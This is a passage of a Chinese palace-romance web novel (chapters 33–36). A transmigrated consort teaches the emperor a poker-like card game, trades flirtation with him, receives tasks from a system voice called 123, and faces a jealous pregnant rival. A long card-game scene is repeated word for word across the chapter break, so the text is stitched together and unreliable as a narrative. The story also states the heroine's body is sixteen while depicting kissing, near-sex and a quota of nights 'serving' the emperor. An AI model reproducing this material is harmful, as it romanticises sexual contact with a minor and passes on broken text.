今日刚刚拿到新鲜出炉的扑克牌,正玩的上头呢。 明夏回去都没找到机会跟姜舒月说这事。 门口值守的小路子看到贺云徽来了想要通报,却被福安阻止。 小路子没办法,只能跟在身后走着。 “哈哈!快,把她的脸贴上!” 到了正殿还没入内,就听到姜舒月那清软的嗓音突然响起。 贺云徽脸上表情奇怪,冷哼了一声。 小路子被这一冷哼吓了一跳,差点给贺云徽跪下。 “娘娘,奴婢脸上已经没有地方了!” 扶风可怜兮兮的声音响起。 接着又是姜舒月的声音,“不行!愿赌服输哦。” 听到这里,贺云徽实在好奇她们玩的什么把戏,迈步走了进去。 这时福安才说道:“陛下驾到~” 屋里顿时一静,紧接着就是一阵兵荒马乱。 小路子在后面闭了闭眼,来不及了娘娘。 确实来不及了,贺云徽在她们还没收拾好的时候,就已经进入内室了。 里面乱七八糟,地上甚至还掉了好几张牌子。 姜舒月和几个丫鬟脸上还贴着纸条,一脸局促地望着贺云徽。 贺云徽哼笑一声,几个丫鬟噗通一声跪了下来。 “参见陛下,陛下吉祥!” 姜舒月尴尬一笑,低头行礼,“陛下万福……” 还没说完,贺云徽就一挥手,几个丫鬟如大赦般一溜烟窜出去。 徒留姜舒月一个人在那。 贺云徽一脸似笑非笑的表情,坐在了一旁的贵妃榻上,“爱妃,玩得可还开心?” 姜舒月偷偷抬头瞄他,正对上贺云徽的眼睛。 “……” “怎么不说话,刚刚不是还挺开心的吗?”贺云徽开始转动他的扳指了。 【123,为什么他过来了你也不提醒我一下?】 123无语望天,它能说自己光顾着看宿主和丫鬟打牌,忘记开感应了吗? 见123不靠谱的装死,姜舒月没办法,只能撒娇卖痴对付一下了。 就见她慢慢挪过来,伸手轻轻地拉住了贺云徽的衣角,一双水汪汪的桃花眼带着一丝讨好。 “妾身错了,您别生气,”说着还摇了摇他的衣袖,“妾身每日呆在屋内实在无趣,只好想些办法让自己开心些。陛下,您就原谅妾身吧~” 见他还是没有什么反应,姜舒月又靠近了些,“陛下,好不好嘛?” 贺云徽对她这一套很是受用,一把将人抱在了身上。 姜舒月从善如流地抱住了他的脖子,“陛下,妾身真的有在好好养病,不信您问扶风她们。” 贺云徽伸手捏了捏她的鼻子,“你的丫鬟自然帮你说话,罢了,看你这精神气儿,也不像还病着的样子。” 她嘻嘻一笑,自然地往贺云徽脸上亲了一口,“妾身还没谢陛下给妾身晋位了。” “这样就打发朕了?”他搂着姜舒月的腰,热气隔着衣服都要烫到姜舒月了。 姜舒月老脸一红,“陛下,妾身身体还没好……” 贺云徽难得愣了一下,已经不知道是今天第几次被气笑,“朕是想让你跟朕讲讲你做的游戏,” 说着又靠近了姜舒月的耳朵,“还是说,爱妃想到别的地方去了?” 湿热的气息喷到了她的耳朵上,激起一片颤栗。 她脸色更红了,这实在不能怪她想歪啊,实在是贺云徽的话,让人不得不想歪。 看她实在是窘迫,贺云徽强装的黑脸也绷不住了,哈哈一笑。 “陛下!您又逗妾身!”姜舒月作势就要从他身上下来。 贺云徽一把扣住她,又拍了一下她的屁股,“别乱动。” 又掂了掂她,“瘦了。” 这话说得就有点违心了,也不知道是不是贺云徽对姜舒月的滤镜。 姜舒月装病的这段时间,每天吃吃喝喝的,还不用去请安,明显整个人圆了一圈了。 贺云徽竟然还说她瘦了。 果然是距离产生美。 接着贺云徽突然将手放在了姜舒月的肚子上。 姜舒月:“???” “陛下?” “尹宝林有喜了。” 然后他没头没脑地突然说了这么一句话。 姜舒月继续眨着眼睛,“那,妾身恭喜陛下?” 开玩笑,原主身体也不过才十六岁,她才不想这么早就当孩子娘呢。 看她好像确实不懂自己的意思,贺云徽也不想给她什么压力,毕竟也生病才好,“没事,以后总会有的。” 姜舒月乖巧点头。 “朕今晚留下陪你用膳,”贺云徽捏捏她的脸,“有什么想吃的吗? 姜舒月本来想要脱口而出吃锅子,但是想到自己还在养病,只能点了一些清淡的饮食。 贺云徽这会又看到地上散落的牌,捡起来一看,是拿金子打成一张张薄如蝉翼的卡牌,上面雕刻着不同的图案。 姜舒月看他看的认真,忍不住教了起来。 “这是大王小王,一副牌里最大的,除了这两张,其他的牌分为梅兰竹菊四个系列,每个系列是十三张牌,数字从一到十三…… 然后这样,先出完的人就赢啦。” 她讲得认真,贺云徽研究的也认真。 手里翻来覆去的把所有的牌都看了一遍,连连点头。 “这是妾身宫里的小路子画的,上次做的麻将也是小路子画的,妾身不会画画,只好让小路子代笔了。” 她不好意思的挠挠脸。 贺云徽也诧异,一个太监竟然也有这么好的画技,“倒是画的不错。” 最后两位主子又把福安和扶风拉了过来,亲自体验一把。 期间姜舒月还展示了她流畅的洗牌技术。 姜舒月看到贺云徽惊奇的眼神,也不由得挺了挺胸膛。 哈哈,看到没有,这就是她,当代赌神! 之前麻将输给了方静姝,姜舒月总结出来的原因只有一点,那就是:教会徒弟饿死师傅。 所以刚刚在教贺云徽的时候,她特意隐藏了一些重要的信息,想要坑一把贺云徽。 等到贺云徽输了第一局之后,他就侧目看了姜舒月一眼。 正好看到她偷笑的一幕。 “呵……” 他冷笑一声。 姜舒月被他一眼看得心虚,故意不去看他,专心摆弄自己的牌。 结果就是,贺云徽从第二局开始,就一直在针对姜舒月。 姜舒月脸上快要贴满了纸条。 福安扶风想笑不敢笑的表情,一下子让姜舒月破防了。 最后一把,她直接扔了牌子,“妾身不玩了,陛下您总针对妾身!” 贺云徽伸手捏住了她的脸,“你还敢说,竟然敢欺君。” 福安极有眼色的把周围的人都带了下去。 “陛下,疼。”姜舒月咧着嘴,“不敢了,再也不敢了。” 【宿主太小看男主了吧,当人家皇帝白当的啊?】 123也在偷笑,谁让它的宿主偷偷耍心眼子啊。 姜舒月怒骂它:【你还说!都怪你不开感应!】 一提到这茬,123又开始装死不回应了。 贺云徽也没真的用力,当然也知道姜舒月故意装疼。 但也松开了自己的手。 她的皮肤极嫩,稍微用力都会留下一下印子。 果然,脸上就留下了红彤彤的一个印子。 随后又区起手指,在姜舒月的额头上敲了一下。 “让你还敢欺君。” 姜舒月吃痛捂着脑门,眼泪汪汪地看着贺云徽。 “真的不敢了……” 她可怜兮兮的求饶,又勾着他的脖子,脸埋在他的颈窝,软软地蹭着。 贺云徽被她蹭的身体一僵。 “再勾引朕,朕可就……” 她动了动唇,刚想说话,两人四目相对。 便撞进对方黑白分明的瞳里,耳朵一热。 最后狠狠地在她的锁骨上嘬了一口。 姜舒月被他亲的瑟缩了一下,“陛下,妾身可一直都很老实的。” 说着老实,看他隐忍的模样分外勾人,还是没忍住,又亲了他的唇。 第33章 教会徒弟饿死师傅 尹宝林不说话,眼泪先流了下来。 “豆蔻!姜贵人病了,陛下去看看她也正常,传出去别人还以为……” 莲心看尹宝林已经在哭了,连忙制止豆蔻。 “她敢做还不让人说啊!那明夏就是她的人,万一刘太医跟她说了什么呢?” 她越想越是那么回事,不然自家娘娘都怀孕了,陛下怎么又转道去了她那? 肯定是这样! 但她还真是猜错了,姜舒月这会正忙着打牌呢。 自从上次做了麻将很成功之后,她又琢磨起别的东西了。 于是让小路子又画了一副扑克牌,拿去造办处让人看着做一副了。 今日刚刚拿到新鲜出炉的扑克牌,正玩的上头呢。 明夏回去都没找到机会跟姜舒月说这事。 门口值守的小路子看到贺云徽来了想要通报,却被福安阻止。 小路子没办法,只能跟在身后走着。 “哈哈!快,把她的脸贴上!” 到了正殿还没入内,就听到姜舒月那清软的嗓音突然响起。 贺云徽脸上表情奇怪,冷哼了一声。 小路子被这一冷哼吓了一跳,差点给贺云徽跪下。 “娘娘,奴婢脸上已经没有地方了!” 扶风可怜兮兮的声音响起。 接着又是姜舒月的声音,“不行!愿赌服输哦。” 听到这里,贺云徽实在好奇她们玩的什么把戏,迈步走了进去。 这时福安才说道:“陛下驾到~” 屋里顿时一静,紧接着就是一阵兵荒马乱。 小路子在后面闭了闭眼,来不及了娘娘。 确实来不及了,贺云徽在她们还没收拾好的时候,就已经进入内室了。 里面乱七八糟,地上甚至还掉了好几张牌子。 姜舒月和几个丫鬟脸上还贴着纸条,一脸局促地望着贺云徽。 贺云徽哼笑一声,几个丫鬟噗通一声跪了下来。 “参见陛下,陛下吉祥!” 姜舒月尴尬一笑,低头行礼,“陛下万福……” 还没说完,贺云徽就一挥手,几个丫鬟如大赦般一溜烟窜出去。 徒留姜舒月一个人在那。 贺云徽一脸似笑非笑的表情,坐在了一旁的贵妃榻上,“爱妃,玩得可还开心?” 姜舒月偷偷抬头瞄他,正对上贺云徽的眼睛。 “……” “怎么不说话,刚刚不是还挺开心的吗?”贺云徽开始转动他的扳指了。 【123,为什么他过来了你也不提醒我一下?】 123无语望天,它能说自己光顾着看宿主和丫鬟打牌,忘记开感应了吗? 见123不靠谱的装死,姜舒月没办法,只能撒娇卖痴对付一下了。 就见她慢慢挪过来,伸手轻轻地拉住了贺云徽的衣角,一双水汪汪的桃花眼带着一丝讨好。 “妾身错了,您别生气,”说着还摇了摇他的衣袖,“妾身每日呆在屋内实在无趣,只好想些办法让自己开心些。陛下,您就原谅妾身吧~” 见他还是没有什么反应,姜舒月又靠近了些,“陛下,好不好嘛?” 贺云徽对她这一套很是受用,一把将人抱在了身上。 姜舒月从善如流地抱住了他的脖子,“陛下,妾身真的有在好好养病,不信您问扶风她们。” 贺云徽伸手捏了捏她的鼻子,“你的丫鬟自然帮你说话,罢了,看你这精神气儿,也不像还病着的样子。” 她嘻嘻一笑,自然地往贺云徽脸上亲了一口,“妾身还没谢陛下给妾身晋位了。” “这样就打发朕了?”他搂着姜舒月的腰,热气隔着衣服都要烫到姜舒月了。 姜舒月老脸一红,“陛下,妾身身体还没好……” 贺云徽难得愣了一下,已经不知道是今天第几次被气笑,“朕是想让你跟朕讲讲你做的游戏,” 说着又靠近了姜舒月的耳朵,“还是说,爱妃想到别的地方去了?” 湿热的气息喷到了她的耳朵上,激起一片颤栗。 她脸色更红了,这实在不能怪她想歪啊,实在是贺云徽的话,让人不得不想歪。 看她实在是窘迫,贺云徽强装的黑脸也绷不住了,哈哈一笑。 “陛下!您又逗妾身!”姜舒月作势就要从他身上下来。 贺云徽一把扣住她,又拍了一下她的屁股,“别乱动。” 又掂了掂她,“瘦了。” 这话说得就有点违心了,也不知道是不是贺云徽对姜舒月的滤镜。 姜舒月装病的这段时间,每天吃吃喝喝的,还不用去请安,明显整个人圆了一圈了。 贺云徽竟然还说她瘦了。 果然是距离产生美。 接着贺云徽突然将手放在了姜舒月的肚子上。 姜舒月:“?” “陛下?” “尹宝林有喜了。” 然后他没头没脑地突然说了这么一句话。 姜舒月继续眨着眼睛,“那,妾身恭喜陛下?” 开玩笑,原主身体也不过才十六岁,她才不想这么早就当孩子娘呢。 看她好像确实不懂自己的意思,贺云徽也不想给她什么压力,毕竟也生病才好,“没事,以后总会有的。” 姜舒月乖巧点头。 “朕今晚留下陪你用膳,”贺云徽捏捏她的脸,“有什么想吃的吗? 姜舒月本来想要脱口而出吃锅子,但是想到自己还在养病,只能点了一些清淡的饮食。 贺云徽这会又看到地上散落的牌,捡起来一看,是拿金子打成一张张薄如蝉翼的卡牌,上面雕刻着不同的图案。 姜舒月看他看的认真,忍不住教了起来。 “这是大王小王,一副牌里最大的,除了这两张,其他的牌分为梅兰竹菊四个系列,每个系列是十三张牌,数字从一到十三…… 然后这样,先出完的人就赢啦。” 她讲得认真,贺云徽研究的也认真。 手里翻来覆去的把所有的牌都看了一遍,连连点头。 “这是妾身宫里的小路子画的,上次做的麻将也是小路子画的,妾身不会画画,只好让小路子代笔了。” 她不好意思的挠挠脸。 贺云徽也诧异,一个太监竟然也有这么好的画技,“倒是画的不错。” 最后两位主子又把福安和扶风拉了过来,亲自体验一把。 期间姜舒月还展示了她流畅的洗牌技术。 姜舒月看到贺云徽惊奇的眼神,也不由得挺了挺胸膛。 哈哈,看到没有,这就是她,当代赌神! 之前麻将输给了方静姝,姜舒月总结出来的原因只有一点,那就是:教会徒弟饿死师傅。 所以刚刚在教贺云徽的时候,她特意隐藏了一些重要的信息,想要坑一把贺云徽。 等到贺云徽输了第一局之后,他就侧目看了姜舒月一眼。 正好看到她偷笑的一幕。 “呵……” 他冷笑一声。 姜舒月被他一眼看得心虚,故意不去看他,专心摆弄自己的牌。 结果就是,贺云徽从第二局开始,就一直在针对姜舒月。 姜舒月脸上快要贴满了纸条。 福安扶风想笑不敢笑的表情,一下子让姜舒月破防了。 最后一把,她直接扔了牌子,“妾身不玩了,陛下您总针对妾身!” 贺云徽伸手捏住了她的脸,“你还敢说,竟然敢欺君。” 福安极有眼色的把周围的人都带了下去。 “陛下,疼。”姜舒月咧着嘴,“不敢了,再也不敢了。” 【宿主太小看男主了吧,当人家皇帝白当的啊?】 123也在偷笑,谁让它的宿主偷偷耍心眼子啊。 姜舒月怒骂它:【你还说!都怪你不开感应!】 一提到这茬,123又开始装死不回应了。 贺云徽也没真的用力,当然也知道姜舒月故意装疼。 但也松开了自己的手。 她的皮肤极嫩,稍微用力都会留下一下印子。 果然,脸上就留下了红彤彤的一个印子。 随后又区起手指,在姜舒月的额头上敲了一下。 “让你还敢欺君。” 姜舒月吃痛捂着脑门,眼泪汪汪地看着贺云徽。 “真的不敢了……” 她可怜兮兮的求饶,又勾着他的脖子,脸埋在他的颈窝,软软地蹭着。 贺云徽被她蹭的身体一僵。 “再勾引朕,朕可就……” 她动了动唇,刚想说话,两人四目相对。 便撞进对方黑白分明的瞳里,耳朵一热。 最后狠狠地在她的锁骨上嘬了一口。 姜舒月被他亲的瑟缩了一下,“陛下,妾身可一直都很老实的。” 说着老实,看他隐忍的模样分外勾人,还是没忍住,又亲了他的唇。 第34章 还是有点人性的 两人顺理成章地又滚成一团。 最后关头的时候,贺云徽还是硬生生的忍住了。 【这都能忍住,不愧是当男主的人。】 姜舒月心中感叹,她当然知道自己身体没问题,但是贺云徽身为帝王,还能顾忌自己的身体忍住了。 这一点,已经比现代的很多男人都要厉害了。 【那是当然,每个小世界的男主都是主神千挑万选出来的。】123又适时出现。 “陛下,晚膳备好了。” 福安的声音在门口响起,他也不想这时候过来讨嫌,但是扶风那几个丫头都不敢过来。 没办法,他只能硬着头皮过来。 刚靠近的时候他还有些忐忑,但是里面没有传出令人害羞的声音,他就放下心来了。 姜舒月听到福安的声音,推了推贺云徽,“陛下,该用膳了。” 贺云徽还搂着她喘息。 最后贴着她的耳朵说了一句,成功把姜舒月的脸弄得更红了。 还得是古代人,就是比现代人会玩啊。 她又羞又恼,轻轻捶了他一下。 她不答应,贺云徽就打定注意不放她起来。 姜舒月无法,只能脸红红的应了。 两人出来的时候,除了姜贵人嘴唇肿了一些,头发乱了一些之外,身上的衣服都没怎么乱。 福安也松了一口气,他还以为陛下这么猴急,人还没好就…… 还好陛下还是有点人性的。 贺云徽根本不知道,就这一会功夫,自己已经从猴急的人变成了有人性的人了。 豆蔻始终对于贺云徽没有留下来陪自家娘娘这件事情耿耿于怀。 所以晚上她还是没忍住,去打听了一下贺云徽的行踪。 果然打听到了贺云徽晚上留在了弦月宫用膳。 气得她当场揪掉了两朵山茶花。 “娘娘!那姜贵人果然是故意的!陛下都留在她那里用膳了!” 她气急败坏地回去跟尹宝林告状。 尹宝林本就因为贺云徽没有留下陪她而暗自垂泪,豆蔻的话更是给了她一击。 果然她泪眼婆娑地问道:“姜贵人?她为什么要这样?就因为我比她先怀孕了吗?” 豆蔻看到她落泪,心疼地给她擦眼泪,“娘娘,您别担心,只要您生下皇子,还怕她姜贵人吗?” 也是是豆蔻的话给了她一些希望,尹宝林眼里也泵出一丝坚定。 “你说得对,我不能就这样认命,”她擦了擦眼泪,又吩咐到,“去拿些吃的来。” 看她愿意吃饭了,豆蔻连忙去将晚膳拿来。 还特意拿了些气味轻的过来。 一天都没进食的尹宝林自然是饿的。 现在闻到食物气味依旧想吐,但是为了肚子里的孩子,还是努力的吃进去一些。 莲心去尚食局拿了一些酸梅回来,听说怀孕想吐的女子,吃些酸的东西可以压一压。 回来看到主子开始吃饭了,也高兴的不得了。 丝毫没有想到这一段时间内,尹宝林和豆蔻又自己脑补了一场大戏。 明夏到底没跟姜舒月说这回事,想着尹宝林月份还小,到时候够月份了,自然就知道了。 没必要让自家娘娘费心。 但是她也没想到,贺云徽自己就跟姜舒月说了这事。 他倒是不担心姜舒月会对尹宝林下手。 毕竟她刚进宫,根基不稳,还没能力去办到这么复杂的事情。 就连他自己都没意识到,自己在对着姜舒月说出那些话的时候。 是有多么的希望,姜舒月能怀上他的孩子。 只是他和姜舒月的想法一致。 怀孕生子本就是一件非常危险的事情。 上次姜婉清小产,就去掉了半条命。 更别说生产的时候,就是一只脚踏进鬼门关。 在贺云徽眼里,姜舒月又小又软的,肯定没办法承受住生子的痛苦。 又希望她能怀上自己的孩子,又不希望她承受这么痛苦的过程。 后来自己说服了自己,一切都顺其自然好了。 不管尹宝林和豆蔻如何脑补,姜舒月的小日子还是过得很舒心的。 123也没再触发什么任务,难得享受了一段悠闲时间。 就连输牌也乐呵呵的。 【叮——发放任务:请宿主在15天内侍寝5次,额外奖励100积分,2颗美容丸。】 姜舒月嗑瓜子的手一顿,【15天5次,耕地的牛也不敢这么干吧。】 123对手指,【宿主,任务都是随机发放哒,而且这个美容丸可以好东西,可以让宿主越来越美丽,这样可以更好的拿捏男主!】 自从绑定了123,姜舒月翻白眼的时候是越来越多了。 【我这么侍寝,要是没怀上,那不是告诉别人我不能生育?】 123卡了一下,萝莉音心虚了起来,【要不然宿主也可以小小的……】 姜舒月警觉起来,立刻在心里比了一个大大的叉。 【大漏特漏!我才16岁!】 几个玩牌的宫人们面面相觑,不知道为什么刚刚还笑得开心的主子,突然之间又垮起了脸。 还以为她输多了钱不高兴了,互相使眼色考虑着,要不要一会给自家娘娘放放水。 自家娘娘能怎么办,宠着呗。 “恭喜陛下、太后,尹宝林确实已经怀孕一月半有余了,只是宝林如今忧思过虑,导致胎像不稳,还需细心调养。” 李太医和几位太医轮番把脉后,又商量了一番,对着上座的贺云徽和太后回道。 太后面露喜色,又想到太医说胎像不稳,连忙问道:“皇嗣可有问题?” 李太医摇头,“只要尹宝林遵循医嘱,减少操劳,静心养胎即可。” 贺云徽和太后松了一口气,“李太医,尹宝林这一胎就交由你照看,务必要保证胎儿平安。” 李太医躬身应是。 贺云徽再次坐在了床榻上,相比于上次,这次他更加温和了。 “朕看你这边伺候的人太少,回头让福安给你挑几个手脚麻利的过来,有什么事情不要放在心里,也不用怕,受了委屈朕会帮你做主,好好养好身体,养好这一胎。” 尹宝林双手轻轻的放在肚子上,因为贺云徽体贴的话,让她心里即感动又幸福。 虽然是因为算计才得到了一次侍寝,可是自己怀孕了不是吗? 只要能生下孩子…… 她目光闪了闪,点点头,“妾身都晓得,陛下不用太担心。” 豆蔻和莲心几乎要喜极而泣,上次刘太医说的模糊,如今是真真切切的确认了娘娘已经怀孕了,怎么能不让人高兴呢。 消息一时间已经传遍了后宫,得了信的妃子们就算是嫉妒的撕碎了帕子也无济于事。 只能捏着鼻子,拿着贺礼匆匆赶去翠竹轩。 哪怕不能侍寝,能看一眼皇上也行。 姜舒月很早就从贺云徽嘴里知道这个消息了,倒也没有别的想法,只让静玉去准备些贺礼。 “对了,吃的用的一律别拿,”她想了想,“我记得之前陛下赏了我一个流云百福白玉佩,还有个翡翠百子如意,就拿那两个吧。” 静玉点了点头,是该小心些。 准备好了就款款往翠竹轩走去,路上还遇到了同样去往翠竹轩的方静姝。 “姜姐姐,”方静姝看到她眼里一亮,提着裙子一路小跑过来,“你也知道了?” 姜舒月等她缓了口气,又继续走着,“嗯,大概知道的比你早。” 她闻言长大了嘴巴,姜舒月哪能不知道她的想法。 “想哪去了,”她左右看了看,凑近方静姝说到,“是陛下跟我说的,那天刘太医前脚从我这走,后脚就被拉去给尹宝林看病了,傍晚陛下来我这的时候顺口提了一嘴。” 方静姝这下更惊讶了,陛下不忌讳吗? “那万一,”她指了指翠竹轩的方向,“要是出事了怎么办?” 姜舒月更不在意了,“陛下既然跟我说这事,就说明他知道我不会做这种事情,况且我跟尹宝林也没有往来,论宠爱,我不比她高?怀孕也是早晚的事,没必要针对她。” 方静姝这段时间跟姜舒月相处下来,早就了解了她是个什么性子,知道她不会也不屑做这种事情,倒是自己还是有些意外。 因为上辈子,尹宝林根本就没有怀孕。 第35章 这么不待见我? 翠竹轩本就不大,又因为尹宝林怀孕的事情,被赶来贺喜的妃子们里里外外都站满了。 姜舒月和方静姝两人一时间也有些咋舌。 福安眼尖,一眼就看到了外面的姜舒月。 低头就跟贺云徽耳语了一番。 随后贺云徽抬手,他便走了出来。 “姜娘娘来了,”福安笑眯眯的,又给方静姝见礼,“方才人安,姜娘娘陛下让您进去呢。” 在外面候着的妃子一听,又差点嫉妒的撕碎帕子。 豆蔻现在已经把姜舒月当做是翠竹轩的头号敌人,听到敌人来了,也顾不上照顾尹宝林,替了在外招呼的莲心,上了外间。 姜舒月抬起头望了望里面,跟方静姝示意下之后领着静玉进去了。 里面贺云徽和太后坐在上首,姜婉清和淑妃、兰昭容分别落座于左右。 除了这些人,还有一道过于执着盯着她的眼神,让她无法忽视。 她隐晦地望了一眼,只见那宫女一脸警惕地盯着自己,有些面熟,只知道这宫女是尹宝林身边的。 “妾身给陛下、太后,各位娘娘请安。” “起来吧,”贺云徽看她额头上都渗出浅浅的薄汗,“天气热,你身子刚好,贺礼让下面的人送来便好。” 姜婉清也点点头,“陛下说的是,你瞧你,一头的汗,当心被风吹到。” 上次巫蛊事件,让姜婉清对姜舒月的身体越发的看重起来。 没事就赏一些补药进弦月宫。 好在太医院治疗得当,这身体也才恢复好,可不能再折腾病了。 “谢陛下和婉妃姐姐关心,尹宝林怀孕,是大喜事。妾身既然身子好了,必定要来恭贺一番的。” 姜舒月心想要是人不来,光礼来,少不得有一些见不得她好的,又要说她病好了也不来了,难伺候的很。 跟键盘侠没有什么区别。 巫蛊事件,太后也听贺云徽跟她提起过,也是多亏了这孩子运气好,晚一些可就真回天乏术了。 “哀家瞧着,这脸色倒不比之前差,可见养得精心,走走路出出汗也无不可。”她最看不得弱柳扶风的女子了,风一吹就好像要倒了似的。 淑妃撇撇嘴,偏偏其他人都顺着贺云徽和太后,自己也不会扫兴说反话不是? 也跟着附和了几句。 眼睛一瞟就看到了静玉捧着的托盘,“姜贵人这是带了什么礼呀,这么大一个托盘。” 姜舒月闻言望过去,不好意思地笑笑,“一些薄礼而已。” “姜贵人如今正得宠,即便是薄礼,想必也是旁人没有的吧?” 淑妃这话一出,不光是太后,就连贺云徽都皱起了眉头。 “淑妃姐姐这是哪的话,送礼不就是讲究心意吗?难道送礼还有什么得宠不得宠之分?” 姜婉清不咸不淡地回怼了一句,眼睛甚至都没看着淑妃。 姜舒月听了朝姜婉清甜甜一笑,姜婉清一愣,有些不自然地把脸转了过去。 淑妃脸上一僵,飞快地看了贺云徽和太后一眼,发现二人面色不善地盯着自己,心里咯噔一下,抿了抿唇,不说话了。 “淑妃娘娘说笑了,妾身如何能跟娘娘相比。妾身没什么好礼,只能挑了一些寓意好的,给尹宝林送来。” 说着说着就掀开了一直盖着的锦布,“李太医。” 一直伫立在一旁安静吃瓜的李太医,没想到这里面还有自己的事情,连忙过来,“姜贵人有何吩咐?” 姜舒月指了指托盘上的东西,“尹宝林如今怀孕,一应事物都该仔细,麻烦您检查一番。” 贺云徽挑眉,没想到这小东西如此谨慎,东西过了明路,又在这么多人面前检查,给自己留了后路。 还算她有些小聪明。 李太医知道她的意思,道了句得罪,就将玉佩和贺礼拿起来仔细检查。 就连放东西的托盘也没放过。 一番检查之后,李太医点点头,“贵人有心,老臣已经检查过了,并无不妥。” 豆蔻倒是没想到她会主动提起让李太医检查,心里也紧张起来。 好在检查过后什么都没有,豆蔻也放下心来。 继续盯着姜舒月。 【尹宝林这宫女是不是对我有意见?】姜舒月实在有点遭不住她这眼神,偷偷戳了戳123。 123在光屏上敲敲打打一会,调出来最近发生的事情。 光着主仆俩自己脑补的就有好几页了,姜舒月一目十行看了过去。 【上次这么无语的时候还是上次,敢情她俩是真以为我要害她不成?】 123摇摇头,【严格的说,宿主应该是背锅侠,她们把最近遇到不顺的事情,都甩锅给宿主了。万一以后出什么事情,大概率也是因为宿主嫉妒她而下了黑手。】 心累的姜舒月只能是让123盯着点这两人,南巡在即,她还想出去玩呢。 “行了,坐下吧。”贺云徽看她这会像个陀螺一样,这里转一下那里转一下的。 担心她累到,只能开口打断几人虚假的寒暄。 太后转过头去,挑眉看了看自家儿子,无声地笑了笑。 姜舒月从善如流地坐了下来,即便是再不喜欢,豆蔻也只能老老实实的给她上茶。 “姜贵人请喝茶。” 哼,给你上陈年旧茶! 豆蔻心里得意,其实姜舒月并分不出来陈茶和新茶的区别。 只是觉得这茶喝起来有点涩口。 【宿主,这个宫女给你上的旧茶。】123不遗余力地告状,别人那都是新茶,到了自家宿主这就是旧茶了? 姜舒月手一顿,又若无其事地放了下来。 【这么不待见我呢?】 见姜舒月把茶杯放了下来,豆蔻撇了撇嘴,默默地退回到了原地。 贺云徽又看了看外面站着的那些妃子,招来福安吩咐了几句。 福安福了福身,走到门口说道:“各位娘娘大热天的辛苦走这一趟,陛下怜惜,各位早日回去歇着吧。” 外面的妃子不甘心,有些人还想力争一下,“公公,我们都过来了,不若让我们进去看看尹宝林吧。” 福安没应,还是笑眯眯的,“太医医嘱,宝林娘娘需要静养,各位心意已到,咱家会向陛下和太后娘娘回禀,还请回吧。” 这话已经是说的极为不客气了,相当于是在赶人了。 妃子们脸色一变,机灵的人已经先一步将贺礼放下,对着贺云徽几人俯身行礼便离开了。 有人开了头,后面自然就顺利很多,很快,院子里站着的都离开了。 贺云徽想着尹宝林如今正是需要静养的时候,便又坐到了床边。 “今日事多,你好好歇息,晚些朕再来看你。” 尹宝林一喜,她不顾还有外人在场,立刻抓住了贺云徽的手。 “那妾身给陛下备些您喜欢吃的。” 眼神还有意无意的扫过姜舒月,好像无声的炫耀着。 姜舒月已经不知道是今天第几次无语了。 贺云徽拍拍她的手,“不必,你只管照顾自己。” 尹宝林听他不回来用膳,略微有些难过,但想到晚上回来看自己,又高兴了起来。 点点头,“那妾身晚上等您。” 他温和一笑,倒是一副翩翩君子温润如玉的样子。 惹得尹宝林脸更红了。 随后便准备离开翠竹轩。 姜舒月几人连忙起身要恭送他。 经过姜舒月的时候,他停了一下,“虽然说好了,但是太医开的药不可不喝,知道了吗?” 姜舒月有种偷倒药被人发现的感觉,抬头无辜地看向贺云徽。 “妾身一向遵循医嘱。”也不知道是心虚还是什么,眼睫毛一颤一颤的。 看得他不由得勾了下嘴角。 又被太后眼尖的看了个正着。 “儿臣前朝还有些事需要处理,先行告退,尹宝林这里辛苦母后照看。” 贺云徽被太后微妙的表情看的奇怪,也没多想。 太后挥挥手,“前朝事情要紧,快去吧。” 说着让佩兰姑姑送了他到门口。 最主要的角色离开了,剩下的人也都疲于演戏。 第36章 那就跟着吧 这不,姜婉清和淑妃都找了借口离开。 只是姜婉清离开前,又特意叮嘱了姜舒月注意身体。 怎么看都是一副姐妹情深的模样。 淑妃更是大摆架子,经过姜舒月身边的时候又冷冷的哼了一声。 位份是这几个人里最低的姜舒月只能等她们都走了之后,再跟太后拜别。 “唉……”走着走着,姜舒月听到了静玉的叹气声。 “是谁家的姑娘唉声叹气的呀?” 这让她有些惊奇,毕竟她平常除了吃喝拉撒睡之外,最喜欢的就是逗几个丫鬟了。 静玉的性格可以说是三个宫女中最沉稳的了,一开始还会被姜舒月逗得满脸通红,但也很少能看到她像这样,愁容满面的。 “娘娘,奴婢在想,若是您现在也能怀上一个小主子该有多好,”她恬静的脸上露出一抹难过的神情。 “这样,其他人就不会随意轻视您了。” 姜舒月听了一愣。 原来是刚刚淑妃和豆蔻对待她的态度,让静玉觉得自己受了委屈。 她安抚地拍拍静玉的手,“若是我现在有孕,如何能保证自己可以让孩子平安出生呢?” 姜舒月看了看玉华宫地方向,“就连……不也是没保住吗?” 满宫上下就几个皇子皇女,不管是谁在这个时候怀孕,都会成为靶子。 更不用说自己了,有个当妃子的姐姐又如何,宫里害人的手段可是层出不穷。 123感知到她的想法,立刻跳出来,【宿主不要担心,123一定会保护好宿主的!】 姜舒月不怀疑123的本事,只是现在还不是时候。 贺云徽对自己的感情虽然已经比对其他妃子要更加喜爱,但还远远达不到她的要求。 孩子一定要在他对自己感情到达一定程度,最期待的时刻才能来到这个世界上。 静玉也知道姜舒月说的是事实,弦月宫还是太过于弱小了。 “是奴婢着相了。”她笑着说道,便不再这个话题上继续深入下去,专心的扶着姜舒月。 尚宫局的韩尚居收到了尹宝林有孕的消息,想到南巡的名单上还有她的名字。 拿着名册到了宣明殿觐见贺云徽。 “参见皇上,”韩尚宫将名册呈上,“听闻尹宝林娘娘有喜,奴婢特来请示皇上,宝林娘娘是否需要留宫静养?” 贺云徽倒是忘了这件事情,尹宝林刚刚有喜,又有一些胎像不稳。 按理说是留宫静养比较好。 想都没想就让韩尚宫将她的名字撤下。 “可否选其他娘娘伴驾?” “那就言御女吧。”他翻着名册,随意定了一个人。 但是这件事情对于尹宝林来说,却是晴天霹雳。 不知道是不是因为怀孕,影响了她思考事情的角度,她竟然想跟着一起去南巡。 仅仅是因为,她怕姜舒月会抢走她的宠爱,让贺云徽忘记自己。 “请陛下收回成命,让妾身一起去南巡吧。” 她不顾太医让她静养的医嘱,一下子从床上爬了起来跪在地上。 贺云徽太阳穴抽了抽,出手护了一下尹宝林的动作。 “不要任性,南巡路途遥远,不比宫中舒适。你胎像不稳,留在宫中静养最好。” 尹宝林躲过他的手,径直跪了下去。 她并不想要这样的静养,她想要时时刻刻在贺云徽的身边。 南巡带的妃子那么少,自己又怀孕了,贺云徽必然会对自己多加关注。 她不能错过这个机会,尤其是还有一个姜舒月跟着一起去。 这届秀女里,只有她和姜舒月侍过寝,姜舒月还比她更加受宠。 